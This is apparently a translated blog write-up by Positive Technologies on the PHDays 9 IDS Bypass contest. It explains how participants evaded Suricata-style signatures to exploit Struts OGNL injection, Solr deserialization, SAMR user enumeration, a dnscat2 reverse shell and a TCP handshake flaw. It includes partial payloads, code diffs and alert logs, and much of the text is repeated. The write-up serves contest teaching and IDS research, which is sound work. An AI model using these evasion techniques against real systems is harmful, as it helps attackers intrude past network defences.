
Analysis of the IDS Bypass contest at Positive Hack Days 9
The Positive Hack Days 2019 international forum hosted the first IDS Bypass contest. Participants had to examine a network segment of five nodes, then either exploit the vulnerability of the service, or fulfill a specified condition (for example, send a specific HTTP response) and thus obtain a flag. Finding an exploit was easy, but IDS complicated the task: the system stood between participants and nodes and checked every network packet. Attackers saw on the dashboard if the signature blocked their connection. Below I will tell you in detail about the tasks themselves and analyze their solution.

The first node in the number of those who solved the task was Struts. After scanning the Nmap ports, we find the Apache Struts service on port 8080.

Vulnerability for Apache Struts died out in 2017: using OGNL injection, an attacker could execute any code on Struts without authorization. There is an exploit, for example, on GitHub , but IDS is caught:
The signature code itself is not available to participants, but from the message in the logs you can understand the mechanism of its operation. In this case, the signature detected an OGNL injection in HTTP:
If we examine the behavior of IDS, it will become obvious that it catches the combination% {at the beginning of the Content-Type header. There are several solutions:
This task was the easiest, it was decided by eight participants.
On port 8983 was the Apache Solr server, written in Java.

An exploit for Apache Solr 5.3.0 is easy to find - CVE-2019-0192 . An attacker could spoof the address of an RMI server in a collection. Operation requires the ysoserial framework, which generates chains of Java objects (gadgets) and delivers them in various ways. For example, from a JRMP server.
Of course, using the forehead exploit in the forehead, participants will see IDS signatures triggering:
Jdk7u21 is only one of thirty loads, and their choice depends on the libraries used in the vulnerable service. The Jdk7u21 gadget chain uses only the standard classes from the Java Development Kit version 7u21, and the CommonsCollections1 chain contains classes from the widely used Apache Common Collections 3.1.
The attacker replaces the address of the RMI server in the Solr collection with his own, and then starts the JRMP server. Solr requests an object at an address and receives a malicious Java object. After its deserialization, the code is executed on the server.
The signature fires on a sequence of classes in a serialized Java object. It is transmitted from the attacker's machine and begins in traffic as follows:

The solution to this problem was simple. The signature explicitly refers to Jdk7u21. To get around it, you had to try other chains of gadgets. For example, one of CommonsCollections. There were no signatures for other chains in IDS. The participant will receive a shell on the system and read the flag. Five participants completed the task.
One of the most difficult and interesting tasks of the competition. This is a Windows machine with an open 445th port. The flag is divided into the names of two users of the system, and to complete the task it was necessary to get a list of all users on the Windows node.
Of course, MS17-010 and other exploits did not work on this machine. Enumerate users could, for example, scripts from Nmap or the impacket framework :
Both scenarios make DCERPC requests to the machine on port 445. But not everything is so simple: some packets are blocked by IDS, and this time two signatures are triggered:
The first one detects a connection to the SAMR service and only flags the TCP connection with a flag. And the second is triggered by the EnumDomainUsers request for the SAMR service. This service has other ways to get users: QueryDisplayInfo, QueryDisplayInfo2, QueryDisplayInfo3. All of them were also blocked by signatures.
The DCERPC protocol and Windows services provide tremendous opportunities for remote site management. This protocol is used by most well-known tools, such as PsExec or BloodHound. The SAMR service, that is, SAM Remote Protocol, allows you to work with accounts on the host, including the list of users.
For an EnumDomainUsers request, Impacket does the following: A

DCERPC connection to the SAMR service is established over SMB, and all further requests go in the context of this service. Signatures work on the first and last packet from the screenshot.
I gave two clues to the assignment:
It's about the DCERPC protocol and how to establish connections. In the list of available PDUs, the Bind and Alter Context commands are responsible for connecting and changing the context, and the second allows changing the current context without breaking the connection.
To solve it, it was necessary to rewrite the logic of the samrdump script:
The changes fit on three lines:
An alternative solution was proposed by the winner of the contest @ psih1337. The EnumDomainUsers query returned a list of users not by name, but by SID (Security ID). SID is not a random number. For example, a LocalSystem account has SID S-1-5-18, and for manually created users, it starts with 1000.
Thus, manually sorting seeds from 1000 to 2000, it is very likely to find the required accounts in the system. They were found under Sids 1008 and 1009.
The solution to this task required an understanding of the DCERPC protocol and experience in researching Windows infrastructures. @ psih1337 was the only one who decided it.
On port 80 there is a web page with a form for an IP address.

If you specify your IP, then UDP arrives at port 53:
Clearly, this is DNSCAT, a tool for DNS tunnels. After specifying the IP address in the form, a DNSCAT client tries to establish a connection to it. If this succeeds, then the server (that is, the participant) will receive a shell on the competitive machine and pull out the flag.
Of course, if we just raise the DNSCAT server and try to accept the connection, we will fail: the
IDS signature works on the dnscat line in the traffic from our server - this is clearly stated in the message. Obfuscate or encrypt traffic will not work either.
Looking at the client code, we find that the checks in it are not strict enough. That is, the dnscat line may not appear at all in the response! It remains only to remove it from the code or replace it on the fly with the NetSED utility. Replacing immediately is much easier, but I will still give a patch for the server code:
There were five solutions for this assignment at the competition.
The flag from this contest vehicle was not received by anyone.

We see a familiar form with an IP address. Someone offers us to participate in testing a new malware. Among its innovations is bypassing IDS in an unknown way. For the flag, you just need to send it the HTTP header “Server: ng1nx” in response. It will be hot.
As expected: we get a GET request to our IP and send a response that is blocked by IDS.
There is a hint:
Something vulnerable right in front of our nose is IDS. From the response page, you can find that we have an open Suricata IDS.

The first link on the query “Suricata IDS Bypass” leads to CVE-2018-6794 . This vulnerability allows to bypass packet inspection if the normal course of TCP communication (TCP handshake) is violated and data is sent before the process is completed. It looks like this:
Download the exploit, change the line to "ng1nx", turn off the kernel RST packages and run.
As already mentioned, no one received the flags from this machine, although a couple of participants were close to a solution.
49 participants registered in the competition, 12 passed at least one flag. It is interesting that competitive tasks can have several solutions at once, especially tasks with the SMB and DCERPC protocol. Maybe you have your own ideas for completing some tasks?
Top places:
Signature response statistics:

Thanks to all participants! Next year there will be even more tasks of different difficulty levels.
Posted by Kirill Shipulin, Positive Technologies

100.64.0.11 - Struts
The first node in the number of those who solved the task was Struts. After scanning the Nmap ports, we find the Apache Struts service on port 8080.
# nmap -Pn -sV -p1-10000 100.64.0.11
631/tcp open ipp CUPS 2.1
8005/tcp open mxi?
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Vulnerability for Apache Struts died out in 2017: using OGNL injection, an attacker could execute any code on Struts without authorization. There is an exploit, for example, on GitHub , but IDS is caught:
[Drop] [**] [1:1001:1] Apache Struts2 OGNL inj in header (CVE-2017-5638) [**]
The signature code itself is not available to participants, but from the message in the logs you can understand the mechanism of its operation. In this case, the signature detected an OGNL injection in HTTP:
GET /showcase.action HTTP/1.1
Accept-Encoding: identity
Host: 100.64.0.11:8080
Content-Type: %{(#_='multipart/form-data')...
If we examine the behavior of IDS, it will become obvious that it catches the combination% {at the beginning of the Content-Type header. There are several solutions:
- The participant @empty_jack tried to break the combination of characters% {with his own dictionary for fuzzing and thus came to a solution with the line Content-Type:% $ {.
- Fuzz the HTTP request itself. Member @ c00lhax0r discovered that the null character at the beginning of the header would also bypass IDS: Content-Type: \ 0 $ {.
- Most exploits for CVE-2017-5638 do an injection with a percent symbol. But some researchers of this and previous Apache Struts vulnerabilities write that injection can start with both% and $. Thus, the combination of $ {will bypass the IDS signature and execute the code on the system. Such a decision was conceived initially.
This task was the easiest, it was decided by eight participants.
100.64.0.10 - Solr
On port 8983 was the Apache Solr server, written in Java.
$ nmap -Pn -sV -p1-10000 100.64.0.10
22/tcp open ssh (protocol 2.0)
8983/tcp open http Jetty

An exploit for Apache Solr 5.3.0 is easy to find - CVE-2019-0192 . An attacker could spoof the address of an RMI server in a collection. Operation requires the ysoserial framework, which generates chains of Java objects (gadgets) and delivers them in various ways. For example, from a JRMP server.
Of course, using the forehead exploit in the forehead, participants will see IDS signatures triggering:
[Drop] [**] [1:10002700:3001] ATTACK [PTsecurity] Java Object Deserialization RCE POP Chain (ysoserial Jdk7u21) [**]
Jdk7u21 is only one of thirty loads, and their choice depends on the libraries used in the vulnerable service. The Jdk7u21 gadget chain uses only the standard classes from the Java Development Kit version 7u21, and the CommonsCollections1 chain contains classes from the widely used Apache Common Collections 3.1.
The attacker replaces the address of the RMI server in the Solr collection with his own, and then starts the JRMP server. Solr requests an object at an address and receives a malicious Java object. After its deserialization, the code is executed on the server.
The signature fires on a sequence of classes in a serialized Java object. It is transmitted from the attacker's machine and begins in traffic as follows:

The solution to this problem was simple. The signature explicitly refers to Jdk7u21. To get around it, you had to try other chains of gadgets. For example, one of CommonsCollections. There were no signatures for other chains in IDS. The participant will receive a shell on the system and read the flag. Five participants completed the task.
100.64.0.12 - SAMR
One of the most difficult and interesting tasks of the competition. This is a Windows machine with an open 445th port. The flag is divided into the names of two users of the system, and to complete the task it was necessary to get a list of all users on the Windows node.
Of course, MS17-010 and other exploits did not work on this machine. Enumerate users could, for example, scripts from Nmap or the impacket framework :
$ python samrdump.py 100.64.0.12
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] Retrieving endpoint list from 100.64.0.12
[*] Trying protocol 445/SMB…
Found domain(s):
. SAMR
. Builtin
[*] Looking up users in domain SAMR
[-] The NETBIOS connection with the remote host timed out.
[*] No entries received.
Both scenarios make DCERPC requests to the machine on port 445. But not everything is so simple: some packets are blocked by IDS, and this time two signatures are triggered:
[**] [1:2001:2] SAMR DCERPC Bind [**]
[Drop] [**] [1:2002:2] SAMR EnumDomainUsers Request [**]
The first one detects a connection to the SAMR service and only flags the TCP connection with a flag. And the second is triggered by the EnumDomainUsers request for the SAMR service. This service has other ways to get users: QueryDisplayInfo, QueryDisplayInfo2, QueryDisplayInfo3. All of them were also blocked by signatures.
The DCERPC protocol and Windows services provide tremendous opportunities for remote site management. This protocol is used by most well-known tools, such as PsExec or BloodHound. The SAMR service, that is, SAM Remote Protocol, allows you to work with accounts on the host, including the list of users.
For an EnumDomainUsers request, Impacket does the following: A

DCERPC connection to the SAMR service is established over SMB, and all further requests go in the context of this service. Signatures work on the first and last packet from the screenshot.
I gave two clues to the assignment:
- Your attempts cause IDS generate 2 alerts. Look closely at the first.
- Which connection commands for this protocol do you know?
It's about the DCERPC protocol and how to establish connections. In the list of available PDUs, the Bind and Alter Context commands are responsible for connecting and changing the context, and the second allows changing the current context without breaking the connection.
To solve it, it was necessary to rewrite the logic of the samrdump script:
- Make Bind to another service, for example with UUID 3919286a-b10c-11d0-9ba8-00c04fd92ef5.
- Use Alter Context to switch to SAMR.
- Send request to EnumDomainUsers.
The changes fit on three lines:
< dce.bind(samr.MSRPC_UUID_SAMR)
---
> dce.bind(uuid.uuidtup_to_bin(("3919286a-b10c-11d0-9ba8-00c04fd92ef5", "0.0")))
> dce.alter_ctx(samr.MSRPC_UUID_SAMR)
> dce._ctx = 1
An alternative solution was proposed by the winner of the contest @ psih1337. The EnumDomainUsers query returned a list of users not by name, but by SID (Security ID). SID is not a random number. For example, a LocalSystem account has SID S-1-5-18, and for manually created users, it starts with 1000.
Thus, manually sorting seeds from 1000 to 2000, it is very likely to find the required accounts in the system. They were found under Sids 1008 and 1009.
The solution to this task required an understanding of the DCERPC protocol and experience in researching Windows infrastructures. @ psih1337 was the only one who decided it.
100.64.0.13 - DNSCAT
On port 80 there is a web page with a form for an IP address.

If you specify your IP, then UDP arrives at port 53:
17:40:45.501553 IP 100.64.0.13.38730 > 100.64.0.187: 61936+ CNAME? dnscat.d2bc039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173)
17:40:45.501639 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209
17:40:46.520457 IP 100.64.0.13.38730 > 100.64.0.187: 21842+ TXT? dnscat.7f4e039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173)
17:40:46.520546 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209
Clearly, this is DNSCAT, a tool for DNS tunnels. After specifying the IP address in the form, a DNSCAT client tries to establish a connection to it. If this succeeds, then the server (that is, the participant) will receive a shell on the competitive machine and pull out the flag.
Of course, if we just raise the DNSCAT server and try to accept the connection, we will fail: the
[Drop] [**] [1:4001:1] 'dnscat' string found in DNS response [**]
IDS signature works on the dnscat line in the traffic from our server - this is clearly stated in the message. Obfuscate or encrypt traffic will not work either.
Looking at the client code, we find that the checks in it are not strict enough. That is, the dnscat line may not appear at all in the response! It remains only to remove it from the code or replace it on the fly with the NetSED utility. Replacing immediately is much easier, but I will still give a patch for the server code:
diff -r dnscat2/server/libs/dnser.rb dnscat2_bypass/server/libs/dnser.rb
< segments << unpack("a#{len}")
> segments << [unpack("a#{len}")[0].upcase]
< name.split(/\./).each do |segment|
> name.upcase.split(/\./).each do |segment|
diff -r dnscat2/server/tunnel_drivers/driver_dns.rb dnscat2_bypass/server/tunnel_drivers/driver_dns.rb
< response = (response == "" ? "dnscat" : ("dnscat." + response))
> response = (response == "" ? "dnsCat" : ("dnsCat." + response))
There were five solutions for this assignment at the competition.
100.64.0.14 - POST
The flag from this contest vehicle was not received by anyone.

We see a familiar form with an IP address. Someone offers us to participate in testing a new malware. Among its innovations is bypassing IDS in an unknown way. For the flag, you just need to send it the HTTP header “Server: ng1nx” in response. It will be hot.
As expected: we get a GET request to our IP and send a response that is blocked by IDS.
[Drop] [**] [1:5002:1] 'ng1nx' Server header found. Malware shall not pass [**]
There is a hint:
Sometimes, tasks that look hard are the simplest. If nothing seems vulnerable, maybe you're missing something right under your nose?
Something vulnerable right in front of our nose is IDS. From the response page, you can find that we have an open Suricata IDS.

The first link on the query “Suricata IDS Bypass” leads to CVE-2018-6794 . This vulnerability allows to bypass packet inspection if the normal course of TCP communication (TCP handshake) is violated and data is sent before the process is completed. It looks like this:
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # 1/2
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # 2/2
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # Data here
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # 3/2
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server
Download the exploit, change the line to "ng1nx", turn off the kernel RST packages and run.
As already mentioned, no one received the flags from this machine, although a couple of participants were close to a solution.
Conclusion
49 participants registered in the competition, 12 passed at least one flag. It is interesting that competitive tasks can have several solutions at once, especially tasks with the SMB and DCERPC protocol. Maybe you have your own ideas for completing some tasks?
Top places:
- 1st place: @ psih1337
- 2nd place: @ webr0ck
- 3rd place: @empty_jack
Signature response statistics:

Thanks to all participants! Next year there will be even more tasks of different difficulty levels.
Posted by Kirill Shipulin, Positive Technologies